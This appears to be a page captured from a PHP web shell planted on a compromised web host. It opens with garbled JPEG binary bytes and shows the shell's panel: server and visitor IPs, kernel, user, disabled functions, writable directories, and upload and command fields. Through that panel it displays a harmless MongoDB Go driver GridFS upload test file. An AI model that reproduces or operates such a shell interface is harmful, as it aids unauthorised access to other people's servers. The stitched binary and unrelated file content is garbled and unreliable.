JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 84.32.84.52  /  Your IP : 216.73.217.6
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/go/pkg/mod/go.mongodb.org/mongo-driver@v1.14.0/testdata/gridfs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/go/pkg/mod/go.mongodb.org/mongo-driver@v1.14.0/testdata/gridfs/upload.yml
description: "gridfs-upload"

schemaVersion: "1.0"

createEntities:
  - client:
      id: &client0 client0
  - database:
      id: &database0 database0
      client: *client0
      databaseName: &database0Name gridfs-tests
  - bucket:
      id: &bucket0 bucket0
      database: *database0
  - collection:
      id: &bucket0_files_collection bucket0_files_collection
      database: *database0
      collectionName: &bucket0_files_collectionName fs.files
  - collection:
      id: &bucket0_chunks_collection bucket0_chunks_collection
      database: *database0
      collectionName: &bucket0_chunks_collectionName fs.chunks

initialData:
  - collectionName: *bucket0_files_collectionName
    databaseName: *database0Name
    documents: []
  - collectionName: *bucket0_chunks_collectionName
    databaseName: *database0Name
    documents: []

# Note: Uploaded files and chunks include ObjectIds, which we cannot match with
# "outcome" since it does not allow operators. Instead, these tests will use
# find operations to assert the contents of uploaded files and chunks.
tests:
  - description: "upload when length is 0"
    operations:
      - name: upload
        object: *bucket0
        arguments:
          filename: "filename"
          source: { $$hexBytes: "" }
          chunkSizeBytes: 4
        expectResult: { $$type: objectId }
        saveResultAsEntity: &uploadedObjectId uploadedObjectId
      - name: find
        object: *bucket0_files_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$matchesEntity: *uploadedObjectId }
            length: 0
            chunkSize: 4
            uploadDate: { $$type: date }
            # The md5 field is deprecated so some drivers do not calculate it when uploading files.
            md5: { $$unsetOrMatches: "d41d8cd98f00b204e9800998ecf8427e" }
            filename: filename
      - name: find
        object: *bucket0_chunks_collection
        arguments:
          filter: {}
        expectResult: []
  - description: "upload when length is 1"
    operations:
      - name: upload
        object: *bucket0
        arguments:
          filename: "filename"
          source: { $$hexBytes: "11" }
          chunkSizeBytes: 4
        expectResult: { $$type: objectId }
        saveResultAsEntity: *uploadedObjectId
      - name: find
        object: *bucket0_files_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$matchesEntity: *uploadedObjectId }
            length: 1
            chunkSize: 4
            uploadDate: { $$type: date }
            md5: { $$unsetOrMatches: "47ed733b8d10be225eceba344d533586" }
            filename: filename
      - name: find
        object: *bucket0_chunks_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$type: objectId }
            files_id: { $$matchesEntity: *uploadedObjectId }
            n: 0
            data: { $binary: { base64: "EQ==", subType: "00" } } # hex 11
  - description: "upload when length is 3"
    operations:
      - name: upload
        object: *bucket0
        arguments:
          filename: "filename"
          source: { $$hexBytes: "112233" }
          chunkSizeBytes: 4
        expectResult: { $$type: objectId }
        saveResultAsEntity: *uploadedObjectId
      - name: find
        object: *bucket0_files_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$matchesEntity: *uploadedObjectId }
            length: 3
            chunkSize: 4
            uploadDate: { $$type: date }
            md5: { $$unsetOrMatches: "bafae3a174ab91fc70db7a6aa50f4f52" }
            filename: filename
      - name: find
        object: *bucket0_chunks_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$type: objectId }
            files_id: { $$matchesEntity: *uploadedObjectId }
            n: 0
            data: { $binary: { base64: "ESIz", subType: "00" } } # hex 112233
  - description: "upload when length is 4"
    operations:
      - name: upload
        object: *bucket0
        arguments:
          filename: "filename"
          source: { $$hexBytes: "11223344" }
          chunkSizeBytes: 4
        expectResult: { $$type: objectId }
        saveResultAsEntity: *uploadedObjectId
      - name: find
        object: *bucket0_files_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$matchesEntity: *uploadedObjectId }
            length: 4
            chunkSize: 4
            uploadDate: { $$type: date }
            md5: { $$unsetOrMatches: "7e7c77cff5705d1f7574a25ef6662117" }
            filename: filename
      - name: find
        object: *bucket0_chunks_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$type: objectId }
            files_id: { $$matchesEntity: *uploadedObjectId }
            n: 0
            data: { $binary: { base64: "ESIzRA==", subType: "00" } } # hex 11223344
  - description: "upload when length is 5"
    operations:
      - name: upload
        object: *bucket0
        arguments:
          filename: filename
          source: { $$hexBytes: "1122334455" }
          chunkSizeBytes: 4
        expectResult: { $$type: objectId }
        saveResultAsEntity: *uploadedObjectId
      - name: find
        object: *bucket0_files_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$matchesEntity: *uploadedObjectId }
            length: 5
            chunkSize: 4
            uploadDate: { $$type: date }
            md5: { $$unsetOrMatches: "283d4fea5dded59cf837d3047328f5af" }
            filename: filename
      - name: find
        object: *bucket0_chunks_collection
        arguments:
          filter: {}
          # Sort to ensure chunks are returned in a deterministic order
          sort: { n: 1 }
        expectResult:
          - _id: { $$type: objectId }
            files_id: { $$matchesEntity: *uploadedObjectId }
            n: 0
            data: { $binary: { base64: "ESIzRA==", subType: "00" } } # hex 11223344
          - _id: { $$type: objectId }
            files_id: { $$matchesEntity: *uploadedObjectId }
            n: 1
            data: { $binary: { base64: "VQ==", subType: "00" } } # hex 55
  - description: "upload when length is 8"
    operations:
      - name: upload
        object: *bucket0
        arguments:
          filename: filename
          source: { $$hexBytes: "1122334455667788" }
          chunkSizeBytes: 4
        expectResult: { $$type: objectId }
        saveResultAsEntity: *uploadedObjectId
      - name: find
        object: *bucket0_files_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$matchesEntity: *uploadedObjectId }
            length: 8
            chunkSize: 4
            uploadDate: { $$type: date }
            md5: { $$unsetOrMatches: "dd254cdc958e53abaa67da9f797125f5" }
            filename: filename
      - name: find
        object: *bucket0_chunks_collection
        arguments:
          filter: {}
          # Sort to ensure chunks are returned in a deterministic order
          sort: { n: 1 }
        expectResult:
          - _id: { $$type: objectId }
            files_id: { $$matchesEntity: *uploadedObjectId }
            n: 0
            data: { $binary: { base64: "ESIzRA==", subType: "00" } } # hex 11223344
          - _id: { $$type: objectId }
            files_id: { $$matchesEntity: *uploadedObjectId }
            n: 1
            data: { $binary: { base64: "VWZ3iA==", subType: "00" } } # hex 55667788
  - description: "upload when contentType is provided"
    operations:
      - name: upload
        object: *bucket0
        arguments:
          filename: "filename"
          source: { $$hexBytes: "11" }
          chunkSizeBytes: 4
          contentType: "image/jpeg"
        expectResult: { $$type: objectId }
        saveResultAsEntity: *uploadedObjectId
      - name: find
        object: *bucket0_files_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$matchesEntity: *uploadedObjectId }
            length: 1
            chunkSize: 4
            uploadDate: { $$type: date }
            md5: { $$unsetOrMatches: "47ed733b8d10be225eceba344d533586" }
            filename: filename
            contentType: "image/jpeg"
      - name: find
        object: *bucket0_chunks_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$type: objectId }
            files_id: { $$matchesEntity: *uploadedObjectId }
            n: 0
            data: { $binary: { base64: "EQ==", subType: "00" } } # hex 11
  - description: "upload when metadata is provided"
    operations:
      - name: upload
        object: *bucket0
        arguments:
          filename: "filename"
          source: { $$hexBytes: "11" }
          chunkSizeBytes: 4
          metadata: { x: 1 }
        expectResult: { $$type: objectId }
        saveResultAsEntity: *uploadedObjectId
      - name: find
        object: *bucket0_files_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$matchesEntity: *uploadedObjectId }
            length: 1
            chunkSize: 4
            uploadDate: { $$type: date }
            md5: { $$unsetOrMatches: "47ed733b8d10be225eceba344d533586" }
            filename: filename
            metadata: { x: 1 }
      - name: find
        object: *bucket0_chunks_collection
        arguments:
          filter: {}
        expectResult:
          - _id: { $$type: objectId }
            files_id: { $$matchesEntity: *uploadedObjectId }
            n: 0
            data: { $binary: { base64: "EQ==", subType: "00" } } # hex 11

Youez - 2016 - github.com/yon3zu
LinuXploit